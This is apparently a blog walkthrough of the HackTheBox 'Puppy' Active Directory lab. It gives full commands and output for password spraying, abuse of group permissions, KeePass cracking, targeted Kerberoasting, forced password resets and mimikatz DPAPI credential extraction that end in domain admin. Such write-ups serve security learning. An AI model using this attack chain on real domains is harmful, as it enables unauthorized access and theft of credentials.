Post

HTB: Puppy

Puppy is a medium difficulty windows box. It's an assumed breach scenario and it starts off with misconfigured group permissions that lets us add ourselves to the Developers group and access a share that has KeePass files. This gives us credentials to a user that can ForceChangePassword for another user to give us the user flag. From there, we'll find hardcoded credentials on the box and extract DPAPI secrets to escalate privileges to domain admin.

HTB: Puppy

Overview

Puppy was a fun assumed breach scenario that started off with common AD misconfigurations that allowed us to pivot to multiple users before getting the flag. One of the steps to get there involved cracking KeePass v4 files which wasn’t supported by the default JtR in kali and we had to use the Bleeding Turbo build. For domain admin, we’ll discover credentials in a backup LDAP configuration file that belonged to a user which also had another account that was a domain admin. Finally we’ll use those credentials to extract DPAPI secrets to escalate privileges.

The box is also themed around the NBA so that was funny seeing familiar names pop up while rooting the box. 😂

alt text

Recon

nmap

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
# Nmap 7.95 scan initiated Fri Sep 26 19:44:31 2025 as: /usr/lib/nmap/nmap -Pn -p 53,88,111,135,139,389,445,464,593,636,2049,3260,3268,3269,5985,9389,49664,49667,49668,49676,49691,56205 -sSCV -vv -oN nmap.txt 10.129.232.75
Nmap scan report for 10.129.232.75
Host is up, received user-set (0.069s latency).
Scanned at 2025-09-26 19:44:44 +08 for 176s

Bug in iscsi-info: no string output.
PORT      STATE SERVICE       REASON          VERSION
53/tcp    open  domain        syn-ack ttl 127 Simple DNS Plus
88/tcp    open  kerberos-sec  syn-ack ttl 127 Microsoft Windows Kerberos (server time: 2025-09-26 10:45:05Z)
111/tcp   open  rpcbind       syn-ack ttl 127 2-4 (RPC #100000)
| rpcinfo: 
|   program version    port/proto  service
|   100000  2,3,4        111/tcp   rpcbind
|   100000  2,3,4        111/tcp6  rpcbind
|   100000  2,3,4        111/udp   rpcbind
|   100000  2,3,4        111/udp6  rpcbind
|   100003  2,3         2049/udp   nfs
|   100003  2,3         2049/udp6  nfs
|   100005  1,2,3       2049/udp   mountd
|   100005  1,2,3       2049/udp6  mountd
|   100021  1,2,3,4     2049/tcp   nlockmgr
|   100021  1,2,3,4     2049/tcp6  nlockmgr
|   100021  1,2,3,4     2049/udp   nlockmgr
|   100021  1,2,3,4     2049/udp6  nlockmgr
|   100024  1           2049/tcp   status
|   100024  1           2049/tcp6  status
|   100024  1           2049/udp   status
|_  100024  1           2049/udp6  status
135/tcp   open  msrpc         syn-ack ttl 127 Microsoft Windows RPC
139/tcp   open  netbios-ssn   syn-ack ttl 127 Microsoft Windows netbios-ssn
389/tcp   open  ldap          syn-ack ttl 127 Microsoft Windows Active Directory LDAP (Domain: PUPPY.HTB0., Site: Default-First-Site-Name)
445/tcp   open  microsoft-ds? syn-ack ttl 127
464/tcp   open  kpasswd5?     syn-ack ttl 127
593/tcp   open  ncacn_http    syn-ack ttl 127 Microsoft Windows RPC over HTTP 1.0
636/tcp   open  tcpwrapped    syn-ack ttl 127
2049/tcp  open  nlockmgr      syn-ack ttl 127 1-4 (RPC #100021)
3260/tcp  open  iscsi?        syn-ack ttl 127
3268/tcp  open  ldap          syn-ack ttl 127 Microsoft Windows Active Directory LDAP (Domain: PUPPY.HTB0., Site: Default-First-Site-Name)
3269/tcp  open  tcpwrapped    syn-ack ttl 127
5985/tcp  open  http          syn-ack ttl 127 Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-title: Not Found
|_http-server-header: Microsoft-HTTPAPI/2.0
9389/tcp  open  mc-nmf        syn-ack ttl 127 .NET Message Framing
49664/tcp open  msrpc         syn-ack ttl 127 Microsoft Windows RPC
49667/tcp open  msrpc         syn-ack ttl 127 Microsoft Windows RPC
49668/tcp open  msrpc         syn-ack ttl 127 Microsoft Windows RPC
49676/tcp open  ncacn_http    syn-ack ttl 127 Microsoft Windows RPC over HTTP 1.0
49691/tcp open  msrpc         syn-ack ttl 127 Microsoft Windows RPC
56205/tcp open  msrpc         syn-ack ttl 127 Microsoft Windows RPC
Service Info: Host: DC; OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:
| p2p-conficker: 
|   Checking for Conficker.C or higher...
|   Check 1 (port 32931/tcp): CLEAN (Timeout)
|   Check 2 (port 48002/tcp): CLEAN (Timeout)
|   Check 3 (port 19274/udp): CLEAN (Timeout)
|   Check 4 (port 46436/udp): CLEAN (Timeout)
|_  0/4 checks are positive: Host is CLEAN or ports are blocked
|_clock-skew: -59m35s
| smb2-security-mode: 
|   3:1:1: 
|_    Message signing enabled and required
| smb2-time: 
|   date: 2025-09-26T10:47:11
|_  start_date: N/A

Read data files from: /usr/share/nmap
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Fri Sep 26 19:47:40 2025 -- 1 IP address (1 host up) scanned in 188.94 seconds

Nmap scan shows that this is a domain controller. The domain is puppy.htb and the hostname is DC. I’ll add the entries to my host file.

1
2
3
4
nxc smb 10.129.232.75 --generate-hosts-file hosts
10.129.232.75     DC.PUPPY.HTB PUPPY.HTB DC

cat hosts | sudo tee -a /etc/hosts

Initial Enumeration

The user that we’re provided with doesn’t have any permissions on non-default shares (DEV). There also weren’t any logon scripts left behind on SYSVOL shares.

1
2
3
4
5
6
7
8
9
10
11
12
nxc smb PUPPY.HTB -u 'levi.james' -p 'KingofAkron2025!' --shares                                                                               
SMB         10.129.232.75   445    DC               [*] Windows Server 2022 Build 20348 x64 (name:DC) (domain:PUPPY.HTB) (signing:True) (SMBv1:False) 
SMB         10.129.232.75   445    DC               [+] PUPPY.HTB\levi.james:KingofAkron2025! 
SMB         10.129.232.75   445    DC               [*] Enumerated shares
SMB         10.129.232.75   445    DC               Share           Permissions     Remark
SMB         10.129.232.75   445    DC               -----           -----------     ------
SMB         10.129.232.75   445    DC               ADMIN$                          Remote Admin
SMB         10.129.232.75   445    DC               C$                              Default share
SMB         10.129.232.75   445    DC               DEV                             DEV-SHARE for PUPPY-DEVS
SMB         10.129.232.75   445    DC               IPC$            READ            Remote IPC
SMB         10.129.232.75   445    DC               NETLOGON        READ            Logon server share 
SMB         10.129.232.75   445    DC               SYSVOL          READ            Logon server share

I noted that the domain doesn’t enforce account lockouts, so I grabbed the list of users and did a password spray hoping for a quick win to pivot to another user but was unsuccessful.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
nxc smb PUPPY.HTB -u 'levi.james' -p 'KingofAkron2025!' --pass-pol
SMB         10.129.232.75   445    DC               [*] Windows Server 2022 Build 20348 x64 (name:DC) (domain:PUPPY.HTB) (signing:True) (SMBv1:False) 
SMB         10.129.232.75   445    DC               [+] PUPPY.HTB\levi.james:KingofAkron2025! 
SMB         10.129.232.75   445    DC               [+] Dumping password info for domain: PUPPY
SMB         10.129.232.75   445    DC               Minimum password length: 7
SMB         10.129.232.75   445    DC               Password history length: 24
SMB         10.129.232.75   445    DC               Maximum password age: 41 days 23 hours 53 minutes 
SMB         10.129.232.75   445    DC               
SMB         10.129.232.75   445    DC               Password Complexity Flags: 000001
SMB         10.129.232.75   445    DC                   Domain Refuse Password Change: 0
SMB         10.129.232.75   445    DC                   Domain Password Store Cleartext: 0
SMB         10.129.232.75   445    DC                   Domain Password Lockout Admins: 0
SMB         10.129.232.75   445    DC                   Domain Password No Clear Change: 0
SMB         10.129.232.75   445    DC                   Domain Password No Anon Change: 0
SMB         10.129.232.75   445    DC                   Domain Password Complex: 1
SMB         10.129.232.75   445    DC               
SMB         10.129.232.75   445    DC               Minimum password age: 1 day 4 minutes 
SMB         10.129.232.75   445    DC               Reset Account Lockout Counter: 30 minutes 
SMB         10.129.232.75   445    DC               Locked Account Duration: 30 minutes 
SMB         10.129.232.75   445    DC               Account Lockout Threshold: None
SMB         10.129.232.75   445    DC               Forced Log off Time: Not Set

We don’t have anything else to work on from here, so I ran bloodhound to map out the domain.

1
bloodhound-python --username levi.james --password 'KingofAkron2025!' -c All -d PUPPY.HTB -dc DC.PUPPY.HTB -ns 10.129.232.75 --zip --dns-timeout 30

User as ant.edwards

Misconfigured GenericWrite Access over Developers group

Our user levi.james is a member of the HR group, and this group is misconfigured to have GenericWrite permissions over the Developers group.

alt text

This allows us to add ourselves as a member of the Developers group and access the DEV share.

1
net rpc group addmem "Developers" "levi.james" -U "PUPPY.HTB"/"levi.james"%'KingofAkron2025!' -S "DC.PUPPY.HTB"

KeePass credentials in SMB share

The Developers have left behind a KeePass database file on the Dev share for recovery.

1
2
3
4
5
6
7
8
9
10
11
impacket-smbclient puppy.htb/levi.james:'KingofAkron2025!'@10.129.232.75                                       
Impacket v0.13.0.dev0 - Copyright Fortra, LLC and its affiliated companies 

Type help for list of commands
# use DEV
# ls
drw-rw-rw-          0  Sun Mar 23 15:07:57 2025 .
drw-rw-rw-          0  Sun Mar  9 00:52:57 2025 ..
-rw-rw-rw-   34394112  Sun Mar 23 15:09:12 2025 KeePassXC-2.7.9-Win64.msi
drw-rw-rw-          0  Mon Mar 10 04:16:16 2025 Projects
-rw-rw-rw-       2677  Wed Mar 12 10:25:46 2025 recovery.kdbx

I downloaded the KeePass file and tried to crack it with john but the john installed on my machine doesn’t support KeePass v4 files.

1
2
keepass2john recovery.kdbx                                              
! recovery.kdbx : File version '40000' is currently not supported!

To crack KeePass v4 files, we’ll have to use JtR Bleeding Jumbo as mentioned here. I grabbed the flatpak release for JtR Bleeding Jumbo and it does work for KeePass v4.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
benkyou@fedora:~/$ flatpak run --command=keepass2john com.openwall.John recovery.kdbx > recovery.hash
benkyou@fedora:~/$ flatpak run com.openwall.John --wordlist=./rockyou.txt recovery.hash
KeePass-opencl: Argon2 hash(es) not supported, skipping.
Warning: detected hash type "KeePass", but the string is also recognized as "KeePass-Argon2-opencl"
Use the "--format=KeePass-Argon2-opencl" option to force loading these as that type instead
Using default input encoding: UTF-8
Loaded 1 password hash (KeePass [AES/Argon2 256/256 AVX2])
Cost 1 (t (rounds)) is 37 for all loaded hashes
Cost 2 (m) is 65536 for all loaded hashes
Cost 3 (p) is 4 for all loaded hashes
Cost 4 (KDF [0=Argon2d 2=Argon2id 3=AES]) is 0 for all loaded hashes
Will run 2 OpenMP threads
Note: Passwords longer than 41 [worst case UTF-8] to 124 [ASCII] rejected
Press Ctrl-C to abort, or send SIGUSR1 to john process for status
liverpool        (recovery)     
1g 0:00:01:01 DONE (2025-09-26 12:33) 0.01616g/s 0.5817p/s 0.5817c/s 0.5817C/s jordan..liverpool
Use the "--show" option to display all of the cracked passwords reliably
Session completed.

The KeePass database has credentials for users in the domain, and I used these for a password spray. alt text

Out of the credentials, only one worked that gave us access as ant.edwards.

1
2
3
nxc smb PUPPY.HTB -u users.list -p passwords.txt --continue-on-success                                                                                 
...[SNIP]...
SMB         10.129.232.75   445    DC               [+] PUPPY.HTB\ant.edwards:Antman2025! 

User as adam.silver

Trying targeted kerberoasting and failing

ant.edwards is a member of the Senior Devs group which has GenericAll permissions over adam.silver. This allows us to do a targeted Kerberoasting attack on adam.silver by setting a service principal name or force a password reset. Personally, I prefer doing targeted Kerberoasting first and only attempt the latter if their password can’t be cracked because resetting a user’s password is disruptive.

alt text

I’ll show this using powerview.py which I’ve been trying out more recently and find it pretty intuitive to use especially with its auto-complete :D

I’ll first query the user object for adam.silver and confirm that they don’t have an SPN yet. Another thing that stands out here is ACCOUNTDISABLED is set for userAccountControl. This means that we will have to re-enable the account before kerberoasting, otherwise it’ll fail.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
powerview PUPPY.HTB/ant.edwards:'Antman2025!'@10.129.232.75
╭─LDAP─[DC.PUPPY.HTB]─[PUPPY\ant.edwards]-[NS:10.129.232.75]
╰─PV ❯ Get-DomainUser -Identity adam.silver
objectClass                       : top 
                                    person
                                    organizationalPerson
                                    user
cn                                : Adam D. Silver
distinguishedName                 : CN=Adam D. Silver,CN=Users,DC=PUPPY,DC=HTB 
memberOf                          : CN=DEVELOPERS,DC=PUPPY,DC=HTB
                                    CN=Remote Management Users,CN=Builtin,DC=PUPPY,DC=HTB
name                              : Adam D. Silver
objectGUID                        : {1bdd74e9-5304-4eb2-ad6b-c731371f0aeb}
userAccountControl                : ACCOUNTDISABLE
                                    NORMAL_ACCOUNT
                                    DONT_EXPIRE_PASSWORD
badPwdCount                       : 3
badPasswordTime                   : 27/09/2025 13:32:55 (today)
lastLogoff                        : 1601-01-01 00:00:00+00:00
lastLogon                         : 14/03/2025 00:03:46 (6 months, 13 days ago)
pwdLastSet                        : 27/09/2025 13:34:29 (today)
primaryGroupID                    : 513 
objectSid                         : S-1-5-21-1487982659-1829050783-2281216199-1105
adminCount                        : 1
sAMAccountName                    : adam.silver
sAMAccountType                    : SAM_USER_OBJECT
userPrincipalName                 : adam.silver@PUPPY.HTB
objectCategory                    : CN=Person,CN=Schema,CN=Configuration,DC=PUPPY,DC=HTB
lastLogonTimestamp                : 13/03/2025 16:40:26 (6 months, 14 days ago)

Since we have GenericAll over the user object, we can re-enable it, and set an SPN.

1
2
3
4
5
6
7
╭─LDAP─[DC.PUPPY.HTB]─[PUPPY\ant.edwards]-[NS:10.129.232.75]
╰─PV ❯ Enable-ADAccount -Identity adam.silver
[2025-09-27 22:29:26] [Set-DomainObject] Success! modified attribute userAccountControl for CN=Adam D. Silver,CN=Users,DC=PUPPY,DC=HTB
[2025-09-27 22:29:26] [Enable-ADAccount] Account adam.silver enabled
╭─LDAP─[DC.PUPPY.HTB]─[PUPPY\ant.edwards]-[NS:10.129.232.75]
╰─PV ❯ Set-DomainObject -Identity adam.silver -Set 'servicePrincipalName=foo/bar'
[2025-09-27 22:29:30] [Set-DomainObject] Success! modified attribute servicePrincipalName for CN=Adam D. Silver,CN=Users,DC=PUPPY,DC=HTB

Then, we can do a targeted kerberoast but the hash doesn’t crack.

1
2
3
4
5
6
7
8
9
10
11
impacket-GetUserSPNs puppy.htb/ant.edwards:'Antman2025!' -dc-ip 10.129.232.75 -request -request-user adam.silver 
Impacket v0.13.0.dev0 - Copyright Fortra, LLC and its affiliated companies 

ServicePrincipalName  Name         MemberOf                       PasswordLastSet             LastLogon                   Delegation 
--------------------  -----------  -----------------------------  --------------------------  --------------------------  ----------
foo/bar               adam.silver  CN=DEVELOPERS,DC=PUPPY,DC=HTB  2025-09-27 21:49:29.581993  2025-03-14 08:03:46.546147             



[-] CCache file is not found. Skipping...
$krb5tgs$23$*adam.silver$PUPPY.HTB$puppy.htb/adam.silver*$873da731756d911ef76f23d5544b85fb$678be421b802a315469a75227688987d34edd258155ac78f413ea708267e6f14b3ba9a2fd7fe3b0cdf66d67ead62ed9ec3304e820ae8cdbb0db698dbc3522c8370eeb0e351bd12656ff353b05acfe554b2b19d125c13fb7bc6b16b99bed3b5ad922c3409159c6e46ab9a8ed0509b49afd9f468da69ab295eff174223d49d9bf335a414887afd90e5a865b13e16ba1e0f86b133084ad50e5f847616526356cfcbef697ad59427351687a9dd3dc47312113d2137624ae283ba1e552b7d866f92cab86e11dc5778aba7c1188f2a1dd7bd82c9d9ab34bbd60904d93984960a019b89ca8111aeb441aa80f1d10904261a519843eddc6114c7965525e603eabc40815c350f657d258e358b34308b3588c7a738ade12351ba889acad03d85744db896a13de3bf25acc2176536c9953eaf47bd2a30ec7f2495639a4eb2aa4dccbdc2eda0a8477ce7b1b98ec36755258b2973ec91abb28ba4ad59005a03c3bd40713bae02b3b5a176a7eee62717d7bc08625a1ed65751c223253fbf676957fb6ab60c9cd654d11adaec6fdfa407a8087427d3347f075c5cdd536317cdd33c3b9c4ec055e825b4fa78ca378e974b1386654fac6e3c1b4782dc51e908e24b6e2df1c7435aefa50de438d19c655eba0332847e4c6ea33e457400efc81310bd52ed625800035ba0b6c2df69748ac299207c7cd6d6bcd89b6843db10da5a0ce8d3fc516ffdc856890f444c56519ea2810f093685a2ba6660a8a80bd8d72bbcff37a7b0702800471ba52e98093c45ee6f95be62329f8b3b93339e6ff17fd422060a11d7278863825f0ef56d9bccc046bdc954220326243151486af3e52765ed7a5b5907bf52765965ced9da7bbe43ad8e9ea8005a251614b3492a919d7ce9c4471656e645cefb73250d9cba99f79423e23af155c6cd391ca8742903070c2fe0569f41e7d7e7794f3843208795149e92d183bafa74c06c07c728b5959ee9c3c4095c8a46b6cd81ed65cbd83cc495bb5965ac3087499ed626af2421fca949ede5d23779f71cf9eb0971cb50a5894da5df1051c81f37a3295db7c32ec7a693ecd5a7298c74b7ee6a547dde0de60db8db978a7c57d1252d5241075c8200179303abcf128416f153db0ad4037306666140b144888ae587713d90bdefde625f071926b8bec83469cddf6337e44bd3a125ef9304fd96d70c82eb27226f3103da01febd3745516978dbe685138d062c084207999dc6686f6fad0faba3341e9f48e0dda6fc1e643d8b7d37011582fb6fd00a937022a928d8f0a7a302c8c18acfffa8557d2b13749d5381adc896d37eb1c801087c5b25b13f5d08622ccdf5ff4e7a4289199a3839730a04319473c35d153025128f6c07ca963dfa3025366b3ec0425bd83b18b53468df128f140f6f86a515a3205842388f0130f8d1c60230ba2db3704bbf20e6ccc62a3de3f92b74ab4cd1f37c56873358106f75e09c53e7e971cb2de5e54a922b17f56f96cc8131700e5af4c6eba4871a34e3c9b49fbf05e380372df83a4552f670d991b9db6ae8f773256518fec93ae5969472314556ebc3d09c18cf5497b52448294b04c48f696cfbe5f9188bede9f9ca9558e59d1151235953

Forcing password change for adam.silver

Since the hash didn’t crack, we’ll have to force the password change to pivot to adam.silver.

1
2
3
4
5
╭─LDAP─[DC.PUPPY.HTB]─[PUPPY\ant.edwards]-[NS:10.129.232.75]
╰─PV ❯ Set-DomainUserPassword -Identity adam.silver -AccountPassword 'O~pvK,nSigpaF=b0'                                                                    
[2025-09-27 21:58:23] [Set-DomainUserPassword] Principal CN=Adam D. Silver,CN=Users,DC=PUPPY,DC=HTB found in domain
[2025-09-27 21:58:25] [Set-DomainUserPassword] Password has been successfully changed for user adam.silver
[2025-09-27 21:58:25] Password changed for adam.silver

adam.silver is a member of Remote Management Users group and we can winrm onto the box to get the user flag.

User as steph.cooper

adam.silver isn’t part of any special groups nor have any special permissions. When we enumerate the box, the Backups folder on C:\ stands out as this is non-default.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
*Evil-WinRM* PS C:\Users\adam.silver> gci -force C:\


    Directory: C:\


Mode                 LastWriteTime         Length Name
----                 -------------         ------ ----
d--hs-         2/28/2025  12:31 PM                $Recycle.Bin
d--h--         5/12/2025   5:29 PM                $WinREAgent
d-----          5/9/2025  10:48 AM                Backups
d--hs-         9/27/2025   4:22 AM                Config.Msi
d--hsl         2/19/2025  11:32 AM                Documents and Settings
d-----         5/12/2025   5:21 PM                inetpub
d-----          5/8/2021   1:20 AM                PerfLogs
d-r---         7/24/2025  12:30 PM                Program Files
d-----          5/8/2021   2:40 AM                Program Files (x86)
d--h--         5/14/2025   9:53 AM                ProgramData
d--hs-         2/19/2025  11:32 AM                Recovery
d-----          3/8/2025   9:00 AM                StorageReports
d--hs-          3/8/2025   9:00 AM                System Volume Information
d-r---         9/27/2025   4:44 AM                Users
d-----         5/13/2025   4:40 PM                Windows
-a-hs-         9/27/2025   4:22 AM          12288 DumpStack.log.tmp
-a-hs-         9/27/2025   4:22 AM      536870912 pagefile.sys

The Backups directory has a zip file and I’ll download it to my host.

1
2
3
4
5
6
7
8
9
*Evil-WinRM* PS C:\Users\adam.silver> gci -force C:\Backups


    Directory: C:\Backups


Mode                 LastWriteTime         Length Name
----                 -------------         ------ ----
-a----          3/8/2025   8:22 AM        4639546 site-backup-2024-12-30.zip

The zip file contains the backup of a website, and the LDAP configuration file was left behind here. This gave us credentials for steph.cooper.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
cat nms-auth-config.xml.bak                   
<?xml version="1.0" encoding="UTF-8"?>
<ldap-config>
    <server>
        <host>DC.PUPPY.HTB</host>
        <port>389</port>
        <base-dn>dc=PUPPY,dc=HTB</base-dn>
        <bind-dn>cn=steph.cooper,dc=puppy,dc=htb</bind-dn>
        <bind-password>ChefSteph2025!</bind-password>
    </server>
    <user-attributes>
        <attribute name="username" ldap-attribute="uid" />
        <attribute name="firstName" ldap-attribute="givenName" />
        <attribute name="lastName" ldap-attribute="sn" />
        <attribute name="email" ldap-attribute="mail" />
    </user-attributes>
    <group-attributes>
        <attribute name="groupName" ldap-attribute="cn" />
        <attribute name="groupMember" ldap-attribute="member" />
    </group-attributes>
    <search-filter>
        <filter>(&(objectClass=person)(uid=%s))</filter>
    </search-filter>
</ldap-config>

Admin as steph.cooper_adm

steph.cooper doesn’t have any special permissions, but we know from earlier enumeration that there is an administrator in the domain with a similar name. steph.cooper likely created a separate account for administrative tasks and placed both his accounts under the same OU (Puppy Admins) for easier management. This OU also didn’t have special group policies applied to it, so we’ll have another way to exploit. alt text

I ran winPEAS and found the DPAPI credentials stood out. DPAPI (Data Protection API) is used on Windows to store credentials from browsers, Outlook, Vault, Windows Credential Manager, and etc. Typically applications that have “remember me” features will use DPAPI to encrypt the user’s passwords before storing them.

alt text The Enterprise Credential Data stands out because this is used to authenticate to other resources in the domain

To extract the DPAPI secrets, I’ll upload mimikatz onto the machine and note down the paths for the masterkey and credentials blobs. Note that because we’re using an Evil-WinRM session, we have a non-interactive shell so we’ll have to pass arguments to mimikatz in a one-liner that ends with exit.

This happens if we try mimikatz in interactive mode with non-interactive session :(

First, we have to decrypt the masterkey using steph.cooper’s password.

1
2
3
4
5
6
7
*Evil-WinRM* PS C:\Users\steph.cooper\Documents> .\mimikatz.exe '"dpapi::masterkey /in:C:\Users\steph.cooper\AppData\Roaming\Microsoft\Protect\S-1-5-21-1487
982659-1829050783-2281216199-1107\556a2412-1275-4ccf-b721-e6a0b4f90407 /sid:S-1-5-21-1487982659-1829050783-2281216199-1107 /password:ChefSteph2025! /protect
ed"' "exit"
...[SNIP]...
[masterkey] with password: ChefSteph2025! (protected user)
  key : d9a570722fbaf7149f9f9d691b0e137b7413c1414c452f9c77d6d8a8ed9efe3ecae990e047debe4ab8cc879e8ba99b31cdb7abad28408d8d9cbfdcaf319e9c84
  sha1: 3c3cf2061dd9d45000e9e6b49e37c7016e98e701

Then, we can use the decrypted masterkey to decrypt the credentials blobs.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
*Evil-WinRM* PS C:\Users\steph.cooper\Documents> .\mimikatz.exe "dpapi::cred /in:C:\Users\steph.cooper\AppData\Roaming\Microsoft\Credentials\C8D69EBE9A43E9D
EBF6B5FBD48B521B9 /masterkey:d9a570722fbaf7149f9f9d691b0e137b7413c1414c452f9c77d6d8a8ed9efe3ecae990e047debe4ab8cc879e8ba99b31cdb7abad28408d8d9cbfdcaf319e9c8
4" "exit"
...[SNIP]...
Decrypting Credential:
 * masterkey     : d9a570722fbaf7149f9f9d691b0e137b7413c1414c452f9c77d6d8a8ed9efe3ecae990e047debe4ab8cc879e8ba99b31cdb7abad28408d8d9cbfdcaf319e9c84
**CREDENTIAL**
  credFlags      : 00000030 - 48
  credSize       : 000000c8 - 200
  credUnk0       : 00000000 - 0

  Type           : 00000002 - 2 - domain_password
  Flags          : 00000000 - 0
  LastWritten    : 3/8/2025 3:54:29 PM
  unkFlagsOrSize : 00000030 - 48
  Persist        : 00000003 - 3 - enterprise
  AttributeCount : 00000000 - 0
  unk0           : 00000000 - 0
  unk1           : 00000000 - 0
  TargetName     : Domain:target=PUPPY.HTB
  UnkData        : (null)
  Comment        : (null)
  TargetAlias    : (null)
  UserName       : steph.cooper_adm
  CredentialBlob : FivethChipOnItsWay2025!
  Attributes     : 0

What likely happened here was the steph.cooper user created a logon session for some resource (i.e SMB/RDP) from their low privileged account, and then selected the “Save password” option which stored their domain credentials to Windows Credential Manager.

Anyways, we have the credentials for steph.cooper_adm and can escalate privileges to domain admin.

This post is licensed under CC BY 4.0 by the author.